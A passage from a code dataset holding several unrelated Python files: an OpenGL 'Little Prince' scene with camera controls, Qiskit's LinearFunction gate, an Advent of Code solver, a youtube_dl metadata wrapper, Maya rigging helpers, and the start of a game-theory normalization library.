crea problemi)\n glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, [0.0, 0.0, 0.0, 1.0])\n # assegno una luce ambientale, altrimenti è troppo scuro\n glMaterialfv(GL_FRONT_AND_BACK, GL_AMBIENT, [0.6, 0.6, 0.6, 1.0])\n glTranslatef(0.0, 0.0, -30.0)\n glRotatef(90, 1.0, 1.0, 0.0)\n glBindTexture(GL_TEXTURE_2D, cielo)\n gluSphere(quadrica, (limite_max/2), 32, 32)\n # restituisco la proprietà di diffusione\n glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE, [0.8, 0.8, 0.8, 1.0])\n glPopMatrix()\n\n glLoadIdentity()\n\n # Telecamera\n gluLookAt(camera[0], camera[1], camera[2],\n camera[0] + sin(radians(angolo_sxdx)) * cos(radians(angolo_sugiu)),\n camera[1] + sin(radians(angolo_sugiu)),\n camera[2] + cos(radians(angolo_sxdx)) * cos(radians(angolo_sugiu)),\n 0.0, 1.0, 0.0)\n\n glPushMatrix()\n glRotate(90, 0.0, 1.0, 0.0)\n glRotate(-90, 1.0, 0.0, 0.0)\n\n # Sole luminoso\n glPushMatrix()\n glTranslatef(100.0, 450.0, 150.0)\n glRotatef(rot_asse/5, 0.0, 0.0, 1.0)\n glLightfv(GL_LIGHT0, GL_POSITION, [0.0, 0.0, 0.0, 1.0])\n glMaterialfv(GL_FRONT, GL_EMISSION, [1.0, 0.7, 0.15, 1.0])\n glBindTexture(GL_TEXTURE_2D, sole)\n gluSphere(quadrica, 50, 32, 32)\n glMaterialfv(GL_FRONT, GL_EMISSION, [0.0, 0.0, 0.0, 1.0])\n glPopMatrix()\n\n # Asteroide\n glPushMatrix()\n glRotatef(rot_asse, 1.0, -1.0, 0.0)\n glBindTexture(GL_TEXTURE_2D, terra)\n gluSphere(quadrica, raggio_terra, 32, 32)\n\n # Elementi sull'asteroide\n glPushMatrix()\n glRotatef(15, 0.0, 1.0, 0.0)\n glRotatef(65, -1.0, 0.0, 0.0)\n creaElemento(principe, 1.0, 2.0, raggio_terra)\n glPopMatrix()\n\n glPushMatrix()\n glRotatef(65, -1.0, 0.0, 0.0)\n creaElemento(volpe, 0.8, 0.8, raggio_terra)\n glPopMatrix()\n\n glPushMatrix()\n glRotatef(45, 1.0, 0.0, 0.0)\n for r in range(0, 180, 30):\n glPushMatrix()\n glRotatef(r,0.0, 0.0, 1.0)\n creaElemento(baobab, 3.5, 4.0, raggio_terra)\n glPopMatrix()\n glPopMatrix()\n\n glPushMatrix()\n glRotatef(200, 1.0, 0.0, 0.0)\n for r in range(0, 180, 30):\n glPushMatrix()\n glRotatef(r, 0.0, 0.0, 1.0)\n creaElemento(vulcano, 2.0, 0.8, raggio_terra - 0.05)\n glPopMatrix()\n glPopMatrix()\n\n glPushMatrix()\n glRotatef(87, 1.0, 0.0, 0.0)\n glRotatef(78, 0.0, 1.0, 0.0)\n for r in range(0, 180, 90):\n glPushMatrix()\n glRotatef(r, 0.0, 0.0, 1.0)\n creaElemento(fuoco, 1.3, 0.9, raggio_terra)\n glPopMatrix()\n glPopMatrix()\n\n glPushMatrix()\n glRotatef(55, 1.0, 0.0, 0.0)\n glRotatef(95, 0.0, -1.0, 0.0)\n creaElemento(rosa, 0.8, 0.8, raggio_terra - 0.05)\n glPopMatrix()\n\n glPopMatrix()\n\n # Orbita del satellite intorno all'asteroide\n glPushMatrix()\n glRotatef(rot_orbita, 1.0, 1.0, 0.0)\n\n # Satellite\n glPushMatrix()\n glTranslatef(0.0, 0.0, -9.0)\n glRotatef(rot_asse, 1.0, -1.0, 0.0)\n glBindTexture(GL_TEXTURE_2D, luna)\n gluSphere(quadrica, raggio_luna, 50, 50)\n\n # Divertente elemento sul satellite\n glPushMatrix()\n glRotatef(65, -1.0, 0.0, 0.0)\n creaElemento(dugtrio, 0.4, 0.4, raggio_luna-0.05)\n glPopMatrix()\n\n glPopMatrix()\n\n glPopMatrix()\n\n glPopMatrix()\n\n glDisable(GL_TEXTURE_2D)\n\n rot_asse = rot_asse + 0.1\n rot_orbita = rot_orbita + 0.05\n\n glutSwapBuffers()\n\n\n# Realizzato in autonomia, copiando dall'esercizio della lezione.\n# Va bene finchè non giro la testa\n# def keyboard(key, x, y):\n# global camera\n#\n# if key.decode() == 'q':\n# sys.exit()\n# if key.decode() == 'w':\n# camera[2] += 1.0\n# glutPostRedisplay()\n# return\n# if key.decode() == 'a':\n# camera[0] += 1.0\n# glutPostRedisplay()\n# return\n# if key.decode() == 's':\n# camera[2] -= 1.0\n# glutPostRedisplay()\n# return\n# if key.decode() == 'd':\n# camera[0] -= 1.0\n# glutPostRedisplay()\n# return\n\n\ndef keyboard(key, x, y):\n global camera, rot_asse, rot_orbita\n\n # Metodo trovato su un forum e modificato a mia necessità per integrarlo al metodo visto a lezione\n # Nei commenti cerco di capire come e perchè funziona\n\n x_matrix = glGetFloat(GL_MODELVIEW_MATRIX)[0] # = [1,0,0]\n y_matrix = glGetFloat(GL_MODELVIEW_MATRIX)[1] # = [0,1,0]\n z_matrix = glGetFloat(GL_MODELVIEW_MATRIX)[2] # = [0,0,1]\n\n if key.decode() == 'q':\n sys.exit()\n # la seguente è una piccola istruzione inutile, ma che ho trovato divertente e piacevole da aggiungere\n if key.decode() == 't':\n rot_asse += 50.0\n rot_orbita += 50.0\n glutPostRedisplay()\n if key.decode() == 'w':\n camera[0] -= x_matrix[2] * 1.0 # \"La videocamera\" nella direzione x (i.e. verso destra)\n camera[1] -= y_matrix[2] * 1.0 # \"La videocamera\" nella direzione y (i.e. verso l'alto)\n camera[2] -= z_matrix[2] * 1.0 # \"La videocamera\" nella direzione z (i.e. verso me)\n # print(x_matrix[2] * 1.0)\n # print(y_matrix[2] * 1.0)\n # print(z_matrix[2] * 1.0)\n glutPostRedisplay()\n return\n # Se non muovo \"la testa\", i print restituiscono\n # 0.0\n # 0.0\n # -1.0\n # In effetti sto osservando lungo la direzione (0.0, 0.0, -1.0), i.e. perpendicolare \"nello schermo\"\n # Se muovo \"la testa\" a destra, i print restituiscono\n # 0.01\n # 0.0\n # -0.99\n # Avendo guardato a destra, è comparsa una componente positiva lungo l'asse x\n # In sostanza questo metodo compensa per la rotazione e fa in modo che\n # 'w' mi faccia sempre muovere \"perpendicolarmente allo schermo\"\n # Quello che fa è sottrarre rispetto a tutte le componenti lungo x,y,z in modo da \"andare dritto\"\n\n # Cambiando il fattore di moltiplicazione (nel mio caso 1.0) cambia la quantità/velocità di spostamento\n\n # Il concetto è lo stesso per le altre direzioni\n\n if key.decode() == 'a':\n camera[0] -= x_matrix[0] * 1.0\n camera[1] -= y_matrix[0] * 1.0\n camera[2] -= z_matrix[0] * 1.0\n glutPostRedisplay()\n return\n if key.decode() == 's':\n camera[0] += x_matrix[2] * 1.0\n camera[1] += y_matrix[2] * 1.0\n camera[2] += z_matrix[2] * 1.0\n glutPostRedisplay()\n return\n if key.decode() == 'd':\n camera[0] += x_matrix[0] * 1.0\n camera[1] += y_matrix[0] * 1.0\n camera[2] += z_matrix[0] * 1.0\n glutPostRedisplay()\n return\n\n\ndef specialKeyboard(key, x, y):\n global angolo_sugiu, angolo_sxdx\n\n # Continuazione del metodo precedente trovato in rete.\n # Cerco di capire il motivo dei min, max e +-89\n # Il '% 360' è facile intuire sia legato all'aritmetica modulare\n # --> dopotutto 360 gradi equivale a 0 gradi e così via\n\n if key == GLUT_KEY_UP:\n massimo = max(angolo_sugiu + 1.0, -89)\n angolo_sugiu = min(massimo, 89)\n glutPostRedisplay()\n return\n\n # Prima di tutto trova il massimo tra il valore dell'angolo+1 e -89\n # se l'angolo è >= -90 --> ottengo l'angolo+1\n # se l'angolo è <= -91 --> ottengo -89\n # Dopodichè trova il minimo tra quello ottenuto prima e 89\n # se l'angolo era >= -90\n # se -90 <= angolo <= 88 --> tengo l'angolo+1\n # se angolo > 88 --> ottengo 89\n # se l'angolo era <= -91 --> ottengo -89\n\n # Ricapitolando:\n # se angolo <= -91 --> -89\n # se -90 <= angolo <= 88 --> angolo\n # se angolo >= 89 --> 89\n # Ovvero:\n # se è meno di -90 gradi -> -90 gradi\n # se è tra -90 e 90 -> angolo\n # se è più di 90 gradi -> 90 gradi\n\n # Sostanzialmente impedisce di \"spezzarsi il collo\".\n # Limita la visuale su e giù tra il guardare dritto sopra di sè e \"guardarsi i piedi\"\n\n # Stesso concetto per la frecia in giù\n\n if key == GLUT_KEY_LEFT:\n angolo_sxdx = (angolo_sxdx + 1.0) % 360\n return\n\n # Semplicemente, una volta che ho fatto un giro completo, riparto da 0 gradi.\n\n # Stessa cosa per la freccia a destra\n\n if key == GLUT_KEY_DOWN:\n angolo_sugiu = min(max(angolo_sugiu - 1.0, -89), 89)\n return\n if key == GLUT_KEY_RIGHT:\n angolo_sxdx = (angolo_sxdx - 1.0) % 360\n return\n\n\ndef main():\n glutInit()\n\n messaggio = \"\\nBenvenuto nel mondo del Piccolo Principe!\\n\" \\\n \"Usare i tasti WASD per muovere la telecamera,\\n\" \\\n \"le freccette per girare la testa,\\n\" \\\n \"e tenere premuto il tasto T per avviare il turbo!\"\n\n print(messaggio)\n\n glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH | GLUT_ALPHA)\n glutInitWindowSize(1920, 1080)\n glutInitWindowPosition(100, 100)\n glutCreateWindow(\"Luca Lavazza - Piccolo Principe\")\n\n glutDisplayFunc(drawScene)\n glutIdleFunc(drawScene)\n glutReshapeFunc(resizeScene)\n glutKeyboardFunc(keyboard)\n glutSpecialFunc(specialKeyboard)\n init(1920, 1080)\n\n glutMainLoop()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"lavazzaPiccoloPrincipe.py","file_name":"lavazzaPiccoloPrincipe.py","file_ext":"py","file_size_in_byte":13744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"487188530","text":"# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2017, 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"Linear Function.\"\"\"\n\nfrom __future__ import annotations\nimport numpy as np\nfrom qiskit.circuit import QuantumCircuit, Gate\nfrom qiskit.circuit.exceptions import CircuitError\nfrom qiskit.synthesis.linear import check_invertible_binary_matrix\n\n\nclass LinearFunction(Gate):\n r\"\"\"A linear reversible circuit on n qubits.\n\n Internally, a linear function acting on n qubits is represented\n as a n x n matrix of 0s and 1s in numpy array format.\n\n A linear function can be synthesized into CX and SWAP gates using the Patel–Markov–Hayes\n algorithm, as implemented in :func:`~qiskit.transpiler.synthesis.cnot_synth`\n based on reference [1].\n\n For efficiency, the internal n x n matrix is stored in the format expected\n by cnot_synth, which is the big-endian (and not the little-endian) bit-ordering convention.\n\n **Example:** the circuit\n\n .. parsed-literal::\n\n q_0: ──■──\n ┌─┴─┐\n q_1: ┤ X ├\n └───┘\n q_2: ─────\n\n is represented by a 3x3 linear matrix\n\n .. math::\n\n \\begin{pmatrix}\n 1 & 0 & 0 \\\\\n 1 & 1 & 0 \\\\\n 0 & 0 & 1\n \\end{pmatrix}\n\n\n **References:**\n\n [1] Ketan N. Patel, Igor L. Markov, and John P. Hayes,\n Optimal synthesis of linear reversible circuits,\n Quantum Inf. Comput. 8(3) (2008).\n `Online at umich.edu. `_\n \"\"\"\n\n def __init__(\n self,\n linear: list[list[int]] | np.ndarray | QuantumCircuit,\n validate_input: bool | None = False,\n ) -> None:\n \"\"\"Create a new linear function.\n\n Args:\n linear (list[list] or ndarray[bool] or QuantumCircuit):\n either an n x n matrix, describing the linear function,\n or a quantum circuit composed of linear gates only\n (currently supported gates are CX and SWAP).\n\n validate_input: if True, performs more expensive input validation checks,\n such as checking that a given n x n matrix is invertible.\n\n Raises:\n CircuitError: if the input is invalid:\n either a matrix is non {square, invertible},\n or a quantum circuit contains non-linear gates.\n\n \"\"\"\n if not isinstance(linear, (list, np.ndarray, QuantumCircuit)):\n raise CircuitError(\n \"A linear function must be represented either by a list, \"\n \"a numpy array, or a quantum circuit with linear gates.\"\n )\n\n if isinstance(linear, QuantumCircuit):\n # The following function will raise a CircuitError if there are nonlinear gates.\n original_circuit = linear\n linear = _linear_quantum_circuit_to_mat(linear)\n\n else:\n original_circuit = None\n\n # Normalize to numpy array (coercing entries to 0s and 1s)\n try:\n linear = np.array(linear, dtype=bool, copy=True)\n except ValueError:\n raise CircuitError(\n \"A linear function must be represented by a square matrix.\"\n ) from None\n\n # Check that the matrix is square\n if len(linear.shape) != 2 or linear.shape[0] != linear.shape[1]:\n raise CircuitError(\"A linear function must be represented by a square matrix.\")\n\n # Optionally, check that the matrix is invertible\n if validate_input:\n if not check_invertible_binary_matrix(linear):\n raise CircuitError(\n \"A linear function must be represented by an invertible matrix.\"\n )\n\n super().__init__(\n name=\"linear_function\", num_qubits=len(linear), params=[linear, original_circuit]\n )\n\n def validate_parameter(self, parameter):\n \"\"\"Parameter validation\"\"\"\n return parameter\n\n def _define(self):\n \"\"\"Populates self.definition with a decomposition of this gate.\"\"\"\n self.definition = self.synthesize()\n\n def synthesize(self):\n \"\"\"Synthesizes the linear function into a quantum circuit.\n\n Returns:\n QuantumCircuit: A circuit implementing the evolution.\n \"\"\"\n from qiskit.synthesis.linear import synth_cnot_count_full_pmh\n\n return synth_cnot_count_full_pmh(self.linear)\n\n @property\n def linear(self):\n \"\"\"Returns the n x n matrix representing this linear function\"\"\"\n return self.params[0]\n\n @property\n def original_circuit(self):\n \"\"\"Returns the original circuit used to construct this linear function\n (including None, when the linear function is not constructed from a circuit).\n \"\"\"\n return self.params[1]\n\n def is_permutation(self) -> bool:\n \"\"\"Returns whether this linear function is a permutation,\n that is whether every row and every column of the n x n matrix\n has exactly one 1.\n \"\"\"\n linear = self.linear\n perm = np.all(np.sum(linear, axis=0) == 1) and np.all(np.sum(linear, axis=1) == 1)\n return perm\n\n def permutation_pattern(self):\n \"\"\"This method first checks if a linear function is a permutation and raises a\n `qiskit.circuit.exceptions.CircuitError` if not. In the case that this linear function\n is a permutation, returns the permutation pattern.\n \"\"\"\n if not self.is_permutation():\n raise CircuitError(\"The linear function is not a permutation\")\n\n linear = self.linear\n locs = np.where(linear == 1)\n return locs[1]\n\n\ndef _linear_quantum_circuit_to_mat(qc: QuantumCircuit):\n \"\"\"This creates a n x n matrix corresponding to the given linear quantum circuit.\"\"\"\n nq = qc.num_qubits\n mat = np.eye(nq, nq, dtype=bool)\n\n for instruction in qc.data:\n if instruction.operation.name == \"cx\":\n cb = qc.find_bit(instruction.qubits[0]).index\n tb = qc.find_bit(instruction.qubits[1]).index\n mat[tb, :] = (mat[tb, :]) ^ (mat[cb, :])\n elif instruction.operation.name == \"swap\":\n cb = qc.find_bit(instruction.qubits[0]).index\n tb = qc.find_bit(instruction.qubits[1]).index\n mat[[cb, tb]] = mat[[tb, cb]]\n else:\n raise CircuitError(\"A linear quantum circuit can include only CX and SWAP gates.\")\n\n return mat\n","sub_path":"qiskit/circuit/library/generalized_gates/linear_function.py","file_name":"linear_function.py","file_ext":"py","file_size_in_byte":6966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"590195736","text":"import sys\n\nsteps = []\ndeps = {}\nwith open('input') as f:\n for line in f:\n dependency = line[5:6]\n step = line[36:37]\n # Collect all steps in puzzle\n if step not in steps:\n steps.append(step)\n deps[step] = []\n if dependency not in steps:\n steps.append(dependency)\n deps[dependency] = []\n if step not in deps:\n deps[step] = [dependency]\n else:\n deps[step].append(dependency)\n\ncompleted = []\n\nwhile True:\n # Find possible steps that can be solves\n possible = []\n for step in steps:\n if len(deps[step]) == 0:\n possible.append(step)\n solved = sorted(possible)[0]\n for key, value in deps.items():\n if solved in value:\n value.remove(solved)\n\n steps.remove(solved)\n deps.pop(solved)\n completed.append(solved)\n if len(steps) == 0:\n print(''.join(completed))\n sys.exit(0)\n","sub_path":"7/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562224187","text":"from asyncio import AbstractEventLoop, get_event_loop\nfrom typing import Optional, Dict, List, Any\nfrom datetime import datetime, timedelta\nimport dateparser\nimport logging\nfrom royalnet.utils import ytdldateformat, asyncify\n\ntry:\n from youtube_dl import YoutubeDL\nexcept ImportError:\n YoutubeDL = None\n\n\nlog = logging.getLogger(__name__)\n\n\nclass YtdlInfo:\n \"\"\"A wrapper around `youtube_dl `_ extracted info.\"\"\"\n\n _default_ytdl_args = {\n \"quiet\": True, # Do not print messages to stdout.\n \"noplaylist\": True, # Download single video instead of a playlist if in doubt.\n \"no_warnings\": True, # Do not print out anything for warnings.\n \"outtmpl\": \"./downloads/%(epoch)s-%(title)s-%(id)s.%(ext)s\", # Use the default outtmpl.\n \"ignoreerrors\": True # Ignore unavailable videos\n }\n\n def __init__(self, info: Dict[str, Any]):\n \"\"\"Create a :class:`YtdlInfo` from the dict returned by the :func:`YoutubeDL.extract_info` function.\n\n Warning:\n Does not download the info, to do that use :func:`.retrieve_for_url`.\"\"\"\n self.id: Optional[str] = info.get(\"id\")\n self.uploader: Optional[str] = info.get(\"uploader\")\n self.uploader_id: Optional[str] = info.get(\"uploader_id\")\n self.uploader_url: Optional[str] = info.get(\"uploader_url\")\n self.channel_id: Optional[str] = info.get(\"channel_id\")\n self.channel_url: Optional[str] = info.get(\"channel_url\")\n self.upload_date: Optional[datetime] = dateparser.parse(ytdldateformat(info.get(\"upload_date\")))\n self.license: Optional[str] = info.get(\"license\")\n self.creator: Optional[...] = info.get(\"creator\")\n self.title: Optional[str] = info.get(\"title\")\n self.alt_title: Optional[...] = info.get(\"alt_title\")\n self.thumbnail: Optional[str] = info.get(\"thumbnail\")\n self.description: Optional[str] = info.get(\"description\")\n self.categories: Optional[List[str]] = info.get(\"categories\")\n self.tags: Optional[List[str]] = info.get(\"tags\")\n self.subtitles: Optional[Dict[str, List[Dict[str, str]]]] = info.get(\"subtitles\")\n self.automatic_captions: Optional[dict] = info.get(\"automatic_captions\")\n self.duration: Optional[timedelta] = timedelta(seconds=info.get(\"duration\", 0))\n self.age_limit: Optional[int] = info.get(\"age_limit\")\n self.annotations: Optional[...] = info.get(\"annotations\")\n self.chapters: Optional[...] = info.get(\"chapters\")\n self.webpage_url: Optional[str] = info.get(\"webpage_url\")\n self.view_count: Optional[int] = info.get(\"view_count\")\n self.like_count: Optional[int] = info.get(\"like_count\")\n self.dislike_count: Optional[int] = info.get(\"dislike_count\")\n self.average_rating: Optional[...] = info.get(\"average_rating\")\n self.formats: Optional[list] = info.get(\"formats\")\n self.is_live: Optional[bool] = info.get(\"is_live\")\n self.start_time: Optional[float] = info.get(\"start_time\")\n self.end_time: Optional[float] = info.get(\"end_time\")\n self.series: Optional[str] = info.get(\"series\")\n self.season_number: Optional[int] = info.get(\"season_number\")\n self.episode_number: Optional[int] = info.get(\"episode_number\")\n self.track: Optional[...] = info.get(\"track\")\n self.artist: Optional[...] = info.get(\"artist\")\n self.extractor: Optional[str] = info.get(\"extractor\")\n self.webpage_url_basename: Optional[str] = info.get(\"webpage_url_basename\")\n self.extractor_key: Optional[str] = info.get(\"extractor_key\")\n self.playlist: Optional[str] = info.get(\"playlist\")\n self.playlist_index: Optional[int] = info.get(\"playlist_index\")\n self.thumbnails: Optional[List[Dict[str, str]]] = info.get(\"thumbnails\")\n self.display_id: Optional[str] = info.get(\"display_id\")\n self.requested_subtitles: Optional[...] = info.get(\"requested_subtitles\")\n self.requested_formats: Optional[tuple] = info.get(\"requested_formats\")\n self.format: Optional[str] = info.get(\"format\")\n self.format_id: Optional[str] = info.get(\"format_id\")\n self.width: Optional[int] = info.get(\"width\")\n self.height: Optional[int] = info.get(\"height\")\n self.resolution: Optional[...] = info.get(\"resolution\")\n self.fps: Optional[int] = info.get(\"fps\")\n self.vcodec: Optional[str] = info.get(\"vcodec\")\n self.vbr: Optional[int] = info.get(\"vbr\")\n self.stretched_ratio: Optional[...] = info.get(\"stretched_ratio\")\n self.acodec: Optional[str] = info.get(\"acodec\")\n self.abr: Optional[int] = info.get(\"abr\")\n self.ext: Optional[str] = info.get(\"ext\")\n\n @classmethod\n async def from_url(cls, url, loop: Optional[AbstractEventLoop] = None, **ytdl_args) -> List[\"YtdlInfo\"]:\n \"\"\"Fetch the info for an url through :class:`YoutubeDL`.\n\n Returns:\n A :class:`list` containing the infos for the requested videos.\"\"\"\n if YoutubeDL is None:\n raise ImportError(\"'bard' extra is not installed\")\n\n if loop is None:\n loop: AbstractEventLoop = get_event_loop()\n # So many redundant options!\n log.debug(f\"Fetching info: {url}\")\n with YoutubeDL({**cls._default_ytdl_args, **ytdl_args}) as ytdl:\n first_info = await asyncify(ytdl.extract_info, loop=loop, url=url, download=False)\n # No video was found\n if first_info is None:\n return []\n # If it is a playlist, create multiple videos!\n if \"entries\" in first_info:\n if len(first_info[\"entries\"]) == 0:\n return []\n if first_info[\"entries\"][0] is None:\n return []\n log.debug(f\"Found a playlist: {url}\")\n second_info_list = []\n for second_info in first_info[\"entries\"]:\n if second_info is None:\n continue\n second_info_list.append(YtdlInfo(second_info))\n return second_info_list\n log.debug(f\"Found a single video: {url}\")\n return [YtdlInfo(first_info)]\n\n def __repr__(self):\n if self.title:\n return f\"\"\n if self.webpage_url:\n return f\"\"\n return f\"\"\n\n def __str__(self):\n if self.title:\n return self.title\n if self.webpage_url:\n return self.webpage_url\n return self.id\n","sub_path":"royalnet/bard/ytdlinfo.py","file_name":"ytdlinfo.py","file_ext":"py","file_size_in_byte":6596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212527934","text":"from mayaPY.core import *\n\ndef getTransforms(\n\t\titem=\"\", valType=\"\", \n\t\tpRound=5, coords=[\"X\", \"Y\", \"Z\"]\n\t\t):\n\t\t\n\tvals=[round(mc.getAttr(\"%s.%s%s\" % (item, valType, c)), pRound) for c in coords]\n\n\treturn(vals)\n\ndef setTransforms(item=\"\", valsToSet=[0, 0, 0], \n\tvalsType=\"\", coords=[\"X\", \"Y\", \"Z\"]):\n\t\n\t[mc.setAttr(\"%s.%s%s\" % (item, valsType, coords[i]), valsToSet[i]) for i in range(len(valsToSet))]\n\t\n\tpass\n\ndef mlAimConstraint(objToAim=\"\", objConstr=\"\", \n\taimV=(1, 0, 0), upV=(0, 1, 0), wuType=\"vector\", \n\twuObj=\"\", wuV=(0, 1, 0), pSkipList=\"none\", pInfo=False):\n\t\n\tif pInfo:\n\t\tprint (\"\"\"ARGS = objToAim=\"\", objConstr=\"\",aimV=(1, 0, 0), upV=(0, 1, 0), wuType=\"vector\", \n\t\t\twuObj=\"\", wuV=(0, 1, 0), pSkipList=\"none\" ; wuType = (vector(default), objectrotation, object)\"\"\")\n\t\t\n\t\treturn\n\t\n\tif wuType == \"objectrotation\":\n\t\tmc.aimConstraint(str(objToAim), str(objConstr), offset=(0, 0, 0), aim=aimV, \\\n\t\tupVector=upV, wut=wuType, wuo=wuObj, wu=wuV, name=\"tempAimConstr\", skip=pSkipList)\n\t\tmc.delete(\"tempAimConstr\")\n\telif wuType == \"object\":\n\t\tmc.aimConstraint(str(objToAim), str(objConstr), offset=(0, 0, 0), aim=aimV, \\\n\t\tupVector=upV, wut=wuType, wuo=wuObj, name=\"tempAimConstr\", skip=pSkipList)\n\t\tmc.delete(\"tempAimConstr\")\n\telse:\n\t\tmc.aimConstraint(str(objToAim), str(objConstr), offset=(0, 0, 0), aim=aimV, \\\n\t\tupVector=upV, wut=wuType, wu=wuV, name=\"tempAimConstr\", skip=pSkipList)\n\t\tmc.delete(\"tempAimConstr\")\n\t\n\tpass\n\ndef resetOrientJoint(\n\tpName=\"\", pOff=[0, 0, 0], pInfo=False):\n\t\n\tif pInfo:\n\t\tprint (\"\"\"ARGS = pName=\"\"(name of the joint to reset orient), pOff=[0, 0, 0] (set arbitrary offset)\"\"\")\n\t\t\n\t\treturn\n\t\n\torientJointName=\"orientJointTemp\"\n\tmc.select(pName)\n\tmc.duplicate(name=orientJointName, po=True)\n\tmc.orientConstraint(orientJointName, pName, n=\"tempOrientConstraint\")\n\tsetTransforms(item=pName, valsToSet=pOff, valsType=\"jointOrient\")\n\tmc.delete([\"tempOrientConstraint\", orientJointName])\n\t\n\n","sub_path":"mayaPY/core/utils/mayaUtils.py","file_name":"mayaUtils.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"153237342","text":"#Authors: Khashayar Shamsolketabi & Amir Hossein Alikhah Mishamandani\n#Date & Time: 27/March/2020\n#Description: First Library for Game Theory\n#-----------------------------------------------------------------------------\n\n#Required Libraries\nfrom prettytable import PrettyTable\nimport numpy as np\nfrom itertools import chain\n\n#Global Variables\nTARGET_MIN = 0;\nTARGET_MAX = 1;\n\n#Linear transformation \\unit tested\ndef linearTransformation(sourceMin, sourceMax, targetMin, targetMax, inputNumber):\n if (sourceMin == sourceMax):\n return (targetMin + targetMax)/2;\n else:\n return (targetMin + ((inputNumber - sourceMin)/(sourceMax - sourceMin))*(targetMax - targetMin));\n\n#Linear normalization \\unit tested\ndef linearNormalization(sourceMin, sourceMax, inputNumber):\n return linearTransformation(sourceMin, sourceMax, TARGET_MIN, TARGET_MAX, inputNumber);\n\n#Linear normalization of vectors \\unit tested\ndef linearNormalizationOfVector(sourceMin, sourceMax, inputVector):\n return list(map(lambda x: linearNormalization(sourceMin, sourceMax, x), inputVector));\n\n#Linear normalization of matrices \\unit tested\ndef linearNormalizationOfMatrix(sourceMin, sourceMax, inputMatrix):\n return list(map(lambda X: linearNormalizationOfVector(sourceMin, sourceMax, X), inputMatrix));\n\n#Linear normalization of pay off matrices \\unit tested\ndef linearNormalizationOfPayOff(firstPlayerPayOffs, secondPlayerPayOffs):\n sourceMin = np.min([np.min(firstPlayerPayOffs), np.min(secondPlayerPayOffs)]);\n sourceMax = np.max([np.max(firstPlayerPayOffs), np.max(secondPlayerPayOffs)]);\n return [linearNormalizationOfMatrix(sourceMin, sourceMax, firstPlayerPayOffs), \n linearNormalizationOfMatrix(sourceMin, sourceMax, secondPlayerPayOffs)]; \n\n#Weighting average of a vector \\unit tested\ndef vectorWeightException(vector, weights, probabilities):\n return sum(list(map(lambda x: x[1]*weights[x[0]]*probabilities[x[0]], enumerate(vector))));\n\n#Weighting average of a matrix \\unit tested\ndef matrixWeightException(matrix, weights, probabilities):\n nonNormalizedReuslt = list(map(lambda X: vectorWeightException(X,weights, probabilities), matrix));\n totalSum = sum(nonNormalizedReuslt);\n return [x/totalSum for x in nonNormalizedReuslt];\n\n#Calculation of decision distribution of first player \\unit tested\ndef firstPlayerDecisionWithMixStrategyIteration(firstPlayerPayOffs, secondPlayerDecision, secondPlayerMixStrategyDistribution):\n return matrixWeightException(firstPlayerPayOffs, secondPlayerDecision, secondPlayerMixStrategyDistribution);\n\n#Calculation of decision distribution of second player \\unit tested\ndef secondPlayerDecisionWithMixStrategyIteration(secondPlayerPayOffs, firstPlayerDecision, firstPlayerMixStrategyDistribution):\n return matrixWeightException(np.array(secondPlayerPayOffs).T.tolist(), firstPlayerDecision, firstPlayerMixStrategyDistribution);\n\n#Iteration over pay offs with mix strategy \\unit tested\ndef playersDecisionWithMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision, \n firstPlayerMixStrategyDistribution, \n secondPlayerMixStrategyDistribution):\n return [firstPlayerDecisionWithMixStrategyIteration(firstPlayerPayOffs, secondPlayerInitialDecision, secondPlayerMixStrategyDistribution),\n secondPlayerDecisionWithMixStrategyIteration(secondPlayerPayOffs, firstPlayerInitialDecision, firstPlayerMixStrategyDistribution)];\n\n#Iteration over pay offs without mix strategy \\unit tested\ndef playersDecisionWithoutMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision):\n m = len(firstPlayerPayOffs);\n n = len(secondPlayerPayOffs[0]);\n return [firstPlayerDecisionWithMixStrategyIteration(firstPlayerPayOffs, secondPlayerInitialDecision, np.ones(n)/n),\n secondPlayerDecisionWithMixStrategyIteration(secondPlayerPayOffs, firstPlayerInitialDecision, np.ones(m)/m)];\n\n#Multiple iteration over pay offs with multiple times using mix strategy\ndef playersDecisionWithMultiTimesMixStrategyIterations(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerMixStrategyDistribution, \n secondPlayerMixStrategyDistribution,\n numberOfIterations):\n m = len(firstPlayerPayOffs);\n n = len(secondPlayerPayOffs[0]);\n firstPlayerInitialDecision = np.ones(m)/m;\n secondPlayerInitialDecision = np.ones(n)/n;\n printPlayersIterationDecision(0, firstPlayerInitialDecision, secondPlayerInitialDecision);\n if (numberOfIterations > 0):\n for i in range(0, numberOfIterations):\n [firstPlayerInitialDecision, secondPlayerInitialDecision] = playersDecisionWithMixStrategyIteration(\n firstPlayerPayOffs, \n secondPlayerPayOffs, \n firstPlayerInitialDecision, \n secondPlayerInitialDecision, \n firstPlayerMixStrategyDistribution, \n secondPlayerMixStrategyDistribution);\n printPlayersIterationDecision(i + 1, firstPlayerInitialDecision, secondPlayerInitialDecision);\n return [firstPlayerInitialDecision, secondPlayerInitialDecision];\n \n#Multiple iteration over pay offs with one time using mix strategy\ndef playersDecisionWithOneTimeMixStrategyIterations(\n 